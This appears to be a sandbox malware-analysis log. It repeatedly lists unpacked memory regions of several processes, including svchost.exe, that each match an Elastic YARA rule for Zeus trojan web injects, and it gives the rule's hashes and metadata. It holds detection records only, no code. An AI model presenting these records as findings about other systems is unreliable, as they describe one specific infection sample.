Source: 0.2.Bpfz752pYZ.exe.407000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.27.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.52.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.52.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.60.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 16.2.NcYLgtXIKJgHj.exe.2792000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.27.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.18.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.54.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 14.2.NcYLgtXIKJgHj.exe.2ac0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.29a2000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.46.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.51.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.Bpfz752pYZ.exe.6f31c8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 25.2.NcYLgtXIKJgHj.exe.2f50000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.9.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.407000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.50.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.48.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.36.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 20.2.NcYLgtXIKJgHj.exe.2652000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.881000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.Bpfz752pYZ.exe.6f8dc8.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2c70000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 28.2.NcYLgtXIKJgHj.exe.2eb0000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.Bpfz752pYZ.exe.6f31c8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.58.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.11.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.9.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 16.2.NcYLgtXIKJgHj.exe.2a60000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.886c00.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.7.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.64.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.55.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.44.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.49.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2a50000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.69.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.3.Bpfz752pYZ.exe.6f81c8.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.ee00000.74.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.24.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 22.2.NcYLgtXIKJgHj.exe.2340000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
